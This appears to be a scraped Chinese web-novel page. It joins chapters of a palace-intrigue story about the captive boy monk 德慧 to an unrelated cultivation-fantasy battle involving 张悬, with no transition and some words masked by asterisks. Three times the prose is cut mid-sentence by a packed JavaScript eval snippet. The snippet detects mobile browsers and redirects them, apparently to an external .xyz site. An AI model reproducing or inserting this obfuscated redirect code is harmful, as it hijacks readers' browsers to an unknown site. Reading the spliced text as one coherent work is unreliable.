在禹山的时候,主要拷打德慧的是隐月,身为东厂的头号大喽啰,他下手狠戾无比,当时将德慧的牙都拔了下来,脸上的伤痕更是多得数不胜数,有一些一看就是要留疤的。 可德慧的脸上这会儿不仅没有半个伤痕,方才说话的时候也十分正常,没有走风漏气的腔调。 天问大师那秃驴,连牙掉了都能想办法重新生长? 谢三被自己想象的画面恶寒到了,忍不住哆嗦了一下。 林婉君这会儿的注意力却并不在谢三和德慧小和尚身上,她转过头,探究的目光落在邵威面上。 “邵大哥,你是什么时候来的?” 方才发生的一切都是幻术,那也就是说,他们这一行人,从头到尾都没有离开过客栈,甚至没有离开过这间屋子! 混乱已经平息,林婉君的思绪也跟着冷静下来,环顾四周,试图找到一切发生的那个节点。 眼下他们所在的屋子,是客栈小院的正厅。 叶晚竹和岑灵川离开后,为了防止天问大师那秃驴再来动什么手脚,队伍中余下几人便都集中到了正厅里,一边等待,一边交流着这段时间得来的各种信息。 幻境十有**就是在这个时候产生的,而那个时候,邵威可不在这里。 “对啊。” 听着林婉君的话,吴泽这会儿也反应了过来。 在幻境里,邵威和他的手下们便是后来才赶到的! 难道他也是是…… 吴泽的目光控制不住地落到邵威身上,又变得惊恐而警惕。 “你怀疑我?” 见状,邵威险些气歪了鼻子! “我是你们的上线!要是我真的叛变,直接把你们的地址交出去,或者发信号让你们来王都自投罗网好了!我为什么要做这种吃力不讨好的事情?” 吴泽摸了摸鼻子,眼神仍是躲躲闪闪的。 就这么一会儿功夫,便想出了两种办法! 还说不是故意的! “你这个眼神是什么意思?啊?什么意思!” 看着吴泽转来转去的一双眼珠子,邵威更怒了,一拍桌子就要站起身来! 这么看不起他是怎么回事? “毕竟你有前科啊……” 吴泽又低声嘟哝了一句,听清他的话,邵威忽然就哑火了。 这话,他反驳不了! “邵大哥,我不是这个意思。/” 林婉君这时候开了口,她话虽如此,可一双眼睛朝着邵威看过去的时候,里面的神态却和刚才有些不同了。 “不过,实在是因为幻境前后,只有你一个变数,我们不得不防。” 这句解释听着倒像是给同伙的,邵威沉默了一下,这才反应过来。 如果吴泽刚才试他的时候,他表现出任何可疑的地方,这会儿功夫,自己怕是就要落的和德慧一样的下场! 再看一眼谢三,这位脸上的表情也带着还没完全收敛的冷意,邵威又打了个哆嗦,感觉这厅里更冷了! 他们怎么都是一伙的? 就他一个是外人! 这也就算了,还偏偏就他一个有前科! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136095|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行,行吧!” 无奈地认了,咬一咬牙,邵威重新坐了回去,“现在你们应该能相信我说的话了吧?” “所以你是怎么出现的?”谢三的问题毫不犹豫地抛了出来,依旧带着一股怀疑的味道。 邵威在身上摸索一番,找出一个皱皱巴巴的纸条。 她把纸条在桌上摊开铺平,林婉君等三人都围了上去。 一眼看到纸条上的字迹,林婉君猛地愣住了。 “这……” 这不是她的笔迹吗? 这张纸条很小,边缘粗糙不平,一看就是胡乱从什么东西上面扯下来的。 上面的内容也不多,只写了这个客栈的名称,又加上了速来两个字。 “我没写过这样的东西。”林婉君果断摇了摇头。 “从咱们的渠道过来的。” 邵威的表情这个时候已经变得严肃起来,用手指轻轻点着纸条,“又是你们的笔迹,我没怀疑就来了。” 他动身的时候分明只是一个人,可抵达客栈,步入幻境的时候,却莫名其妙地多了一堆手下! 又回想一番,邵威身上的鸡皮疙瘩纷纷冒了出来。 这幻术,好生厉害! “如此说来,你们不觉得就更不对劲了吗?” 林婉君轻轻地敲了敲桌面。 “如果今天晚上的事情是天问大师的安排,那他为什么要多此一举地把邵大哥叫来?这不是打草惊蛇吗?” 邵威是他们的上线,平日里负责在王都搜集各类消息,万源离王都不算近,他们这边出事,便等于斩断了邵威对万源的把控。 这不是更好钻空子的机会吗? 安乐茶楼的那件事传到邵威手里都花了一天的功夫,如果万源的消息真的断开,邵威身在王都,肯定是两眼一抹黑,到时候,天问大师岂不是想怎么杀他,就怎么杀他? 为什么要把邵威骗到万源来? 林婉君一番话说完,屋中静寂无声,人人的目光都朝着邵威的脸上去。 “别看我啊!”邵威欲哭无泪,“我怎么知道?要问问他!” 第三百五十四章 原来是他? 邵威抬手一指,又直勾勾地朝着依旧昏迷不醒的德慧小和尚而去。 他也是上当受骗的人,要找,还是找始作俑者吧! 先前的怀疑和误会都已经解开,几人互相看了一眼,都点了点头。 谢三上前将德慧又拎了起来,抬手两个巴掌扇上去,德慧小和尚呜咽两声,茫然地睁开了眼睛。 他盯着谢三那张没什么表情的脸看了一会儿,理智这才缓缓回笼,先前的事情也回到了德慧的脑海当中。 激灵灵地打了哆嗦,德慧开始拼命挣扎! “放开我!你放开我!你们这群**的,我,我要杀了你们!” “哟,你的口气倒是不小。” 冷笑一声,谢三又加重了几分手上的力气,狠狠地攥着德慧的衣领。 “来,你杀一个,让我看看?”他漫不经心的语气好像是在逗狗一般。 德慧的眼眶又开始泛红,不知道是被衣领勒的,还是被谢三的话气得。 “来呀。”谢三不仅没有收敛,还变本加厉地对着他吹了一声曲折连环的口哨。 德慧小和尚看起来马上就要哭了。 把你的眼泪收收,。留着给你那秃驴师傅看去吧。” 谢三冷嗤一声,“说,让你来演这出,为的是什么?” 德慧小和尚的眼泪都已经到了眼角,却又被他硬生生地逼了回去,他咬紧牙关,还能动的腿猛地一脚踢上了谢三的胳膊。 “王八蛋,龟孙子!你不配跟我说话!” “啧。” 谢三本就不是什么好脾气的人,看在德慧到底是个小孩的份儿上,才耐下性子跟他勉强说几句好话,没想到,这位压根儿就不领情! 手上一个用力,谢三摁着德慧的脑袋,就把他丢到桌上去了。 茶杯茶壶纷纷落地,发出一阵噼里啪啦的响动,谢三摸起一片碎瓷,毫不犹豫地对准了德慧的眼睛。 “现在我配跟你说话了吗?” 声音放缓,谢三却笑得阴恻恻的,听上去比刚才危险得多。 “小子,如果你这张破嘴一定要受大罪,才能说出点人话,那叔叔也不介意教你,毕竟这是我的老本行。” 又用力按住德慧小和尚的脖子,谢三感到自己的耐性正在耗尽。 这小和尚,不愧是天问那秃驴的弟子。 师徒如出一辙,都不会说人话,都不招人待见! 碎瓷片就在眼前晃来晃去,德慧的身子微微哆嗦着,想闭上双眼,却被谢三抢先,不轻不重地用瓷片的边缘挑了一下他的眼皮。 “啊——”德慧下意识地尖叫,“你敢伤我!我要让父王杀了你!” 谢三翻着白眼,“你那秃驴师父——你说什么?” 他刚才听见什么了? 父王? 这小和尚是说了父王这两个字吧? 白眼翻不起来了,谢三转过头,怀疑的目光不住地在几人身上打着转。 邵威第一个点着脑袋,看向德慧的眼神变得惊悚起来。 这小秃驴居然还是皇室中人? 南疆不比大梁,这里的王庭之中有不少潜心礼佛之人,将自己的儿子也一并送到庙宇里修行,并不算稀奇。 “你父王是谁?” 谢三眉峰一挑,忽然感到自己可能发现了什么东西。 今晚的这些招数,的确不像是天问那秃驴弄出来的,未免太过多此一举。 可要是有其他人在背后主导,那就不好说了。 几人纷纷朝着德慧小和尚看去,被这么多道目光盯视着,饶是德慧怒气冲冲,这会儿也忍不住涨红了脸。 “我,我……” 想张口说话,他的表情却又变得迷茫了起来。 “想反悔?” 又挤出一点儿耐心,很快也在德慧的沉默里耗光了,谢三咬了咬后槽牙,又把那块瓷片拿起来,往德慧的眼前举。 “说!” “说,说什么?” 德慧小和尚哆嗦了一下,语气里的茫然竟然十分情真意切! 谢三忍不住笑出声来,一双眼睛却越发淬上了寒意。 “说你的父王是哪位往王公贵族?”他又开始了轻言细语,“再告诉我们,今天晚上的事情,和你爹有没有关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136096|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系?” 为了看清德慧小和尚的眼神,谢三到底还是将那碎瓷片拿开了几分,却只看到他一脸的茫然无措。 德慧直勾勾地望着这边,眉头微皱,仿佛谢三刚才说的话是什么洪水猛兽一般。 “父王?父,父王……” 喃喃自语着,德慧的眉头越皱越紧,神情也变得更加紧绷,好像听到了什么了不得的东西。 “父王,父王……” 来回念叨着这几个字,德慧的表情疯狂地变化着。 “这……这小子有点不对劲吧?” 吴泽咽了咽口水,紧张地看着正在变脸的德慧,“他怎么,怎么——” 一个人的脸上,是怎么能做出这么多表情来的? 谢三几人这会儿也都盯着德慧看,他这张脸上的情况,瞧着的确有些不对劲。 “我看着……他这怎么好像是两个人的表情呢?”邵威嘀嘀咕咕着。 德慧小和尚的表情一会儿哭一会儿笑的,乍一看十分惊悚,可多看一会儿,就能隐隐约约地感觉出区别来了。 他的表情分成两套,一套天真可爱,还带着点茫然,另外一套便显然是他疯狂的来源。 愤怒,憎恶,嫌弃等等表情不停地闪过,看得几人面面相觑,又都满脸震惊。 “你说的……好像有点道理。”林婉君默默地赞同着邵威的话。 一个人怎么能有两种截然不同的性格? 除非他是疯子。 不过,话又说回来, 天问大师手下,最擅长的就是出疯子了。 “所以说……那老秃驴,用自己的亲徒弟做实验?”吴泽忍不住用力吞咽几下,“他,他这简直是……” 丧心病狂! “嘘——!” 邵威忽然一把捂住了吴泽的嘴,用眼神示意他朝那边看去。 德慧小和尚面上的表情终于稳定了下来,冷冷地瞪着谢三,看上去似乎和刚才没有多少变化。 “**!”他还又朝着谢三骂了起来。 谢三定了定神,正要说话,忽然听到院外传来了一阵脚步声! 第三百五十五章 你怎么还活着? “主子?” “殿下!” “没事吧?” 邵威小心翼翼地将房门拉开,迎面便看见叶晚竹和岑灵川大步朝这边而来,顿时激动地低呼了一声。 闻言,屋中几人也顾不上眼前的小和尚了,纷纷冲上前去。 谢无咎被岑灵川背在后背上,呼吸清浅,不知道是睡着了还是在昏迷。 主子们都平安归来,谢三等人想高兴,可看着叶晚竹和岑灵川的表情,却又立刻皱起了眉头。 这二位的模样,怎么一个比一个严肃? 难道是过程中又出了什么事? 谢三欲言又止,这时候看着叶晚竹朝自己轻轻地摇了摇头,便果断闭上了嘴。 叶晚竹收回目光,佯装若无其事。 有些话,现在不是说的时候。 “这小秃头怎么在这儿?” 院中气氛正要陷入凝滞,岑灵川忽然看向谢三肋下,皱了皱眉。 德慧小和尚正被他夹着,只能露出半个脑袋,听着岑灵川对自己的称呼,他立刻又挥动着拳脚挣扎起来,“放开我!你们这些**——呜呜呜!” 他喊声响亮,谢三眼疾手快地一把把他的嘴捂住,又抬头给了叶晚竹一个眼神。 “走,进去说话。”叶晚竹立刻会意。 一行人重新回到屋中,谢三想让人先将谢无咎送回他自己的屋子,目光刚落上去,叶晚竹就摆了摆手。 “还是就在这儿比较好。” 她语气淡淡,这话乍一听也没什么问题,毕竟谢无咎刚刚才被掳走过。 可谢三却又抿了抿唇,感到了和方才一样的古怪。 “**!**!” 德慧小和尚还在不停地骂着,岑灵川把谢无咎放在软椅上,这会儿腾出手来,转头就给了他两个响亮的暴栗。 “没礼貌的才是**,你虽然长得小,可是这么没礼貌,所以你是个没礼貌的大**。” 垂着眼皮,岑灵川对这满口污言秽语的小秃头没有半点要客气的意思。 德慧被敲得眼冒金星,张着嘴半天都没能说出话来,好不容易才回过神,立刻又爆发出一连串的脏话。 岑灵川依旧是丝毫不手软,德慧骂一声,他就在小光头上抽一下,声音响亮的不得了。 在这两人的针锋相对之间,谢三等人你一言,我一语,把发生在他们身上的事情说了一遍。 幻术? 叶晚竹听的入神,到了最后,眼角都忍不住地跟着抽搐了起来。 这南疆的诡计,实在是五花八门! “……小的正在审问那小和尚,他的父王究竟是何许人也,可他却好像完全不记得自己刚才说过的话了,许是也和天问大师有关。”谢三又压低了几分声音。 德慧小和尚的异状,他刚才也说起过了,叶晚竹轻轻咬着嘴唇,手指在桌上一点一点地,思绪被这突如其来的消息搅乱。 加上德慧,天问那秃驴手中的怪物,便又多了一个。 他到底想干什么? 当怪物之王吗? 还有这父王的名头…… “南疆王庭里有几位王爷?”偏过头,叶晚竹向邵威问话。 邵威从刚才就开始盘算了,答得很快,“能有这么大的世子的,差不多有五六位,不过,没听说过这几位王爷把孩子送去礼佛的。” 顿了顿,他又补上一句,“这几位王爷们都有自己的孩子,不曾听说有什么意外。” 不是各家王府里出来的,那德慧小和尚的**,就很可能是私生子了。 这样说来,把私生子偷偷送到天问大师这里学艺,倒也更加符合常理。 只是…… 抬手揉了揉额角,叶晚竹心里却总觉得好像有什么地方不对劲。 “我要杀了你!杀了你!” 这个时候,德慧小和尚那边又爆发出一阵吼叫。 无论是从武力还是吵架上,德慧小和尚显然都不是岑灵川的对手,几个回合下来,讨不到半点便宜,只能白白受气。 他怒气冲冲地瞪着岑灵川,眼中满是泪水,却死死咬住牙关,好像想从岑灵川身上咬下一块肉来似的。 “你这个贱骨头,贱东西!浑身都**的狗奴才,怎么好意思对我说那样的话?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136097|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑灵川越发混不吝,“我就说,你来咬我啊。” “你—— ” 叶晚竹多看了这景象几眼,忽然感到一阵诡异的熟悉,目光忍不住定定落在德慧面上。 他这神情,这态度,还有说话的时语气,都让叶晚竹控制不住地想起一个人。 可他不是早就**吗? “主子?” 林婉君的声音在耳边响起,叶晚竹回过神,这才发现她不知道什么时候扶住了自己的胳膊。 叶晚竹方才想得入神,身子也跟着微微摇晃,林婉君凝了凝神,并未多说,只是低声道,“您是不是想到什么了?” 的确。 但还得验证一下才好。 敛下心绪,叶晚竹大步上前,走到岑灵川身边的时候,他正在用手指戳着德慧的鼻子。 德慧气得脸色通红,呼哧呼哧地喘着粗气,看上去好像随时都有可能昏厥过去。 “师兄。” 叶晚竹按住岑灵川的胳膊,目光别有深意。 “你先把谢都督送回房中休息吧。” 岑灵川立刻会意,眼底深刻,语气却还是带着嘲讽的笑,又用力在德慧脸上戳了一下,这才哼着歌儿,把谢无咎重新扛起来往外走去。 谢三想上前帮一把手,却被岑灵川一道眼神止住了。 看着那带着警告的神态,却并非像是针对自己,谢三站在半敞开的门前,望着两人离去的背影,双手不由得紧握成拳。 岑灵川的警告不是对着他,那就只能是对着一个人了…… 到底是出了什么事? 另一边,叶晚竹扬起巴掌,毫不客气地朝着德慧小和尚的脸扇了过去! 这耳光声更响亮了,屋中所有人的眼角都跟着抽搐了几下! 主子这个打法……看上去,好像和这德慧小和尚,有什么深仇大恨啊! “这么长时间没有见面,你的言行举止又变得更粗俗了,看来,天问那秃驴比你父王的本事还不济。” “延儿,是你吧?我的好儿子,你怎么还活着,不准备跟我打声招呼吗?” 第三百五十六章 我是谁? 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 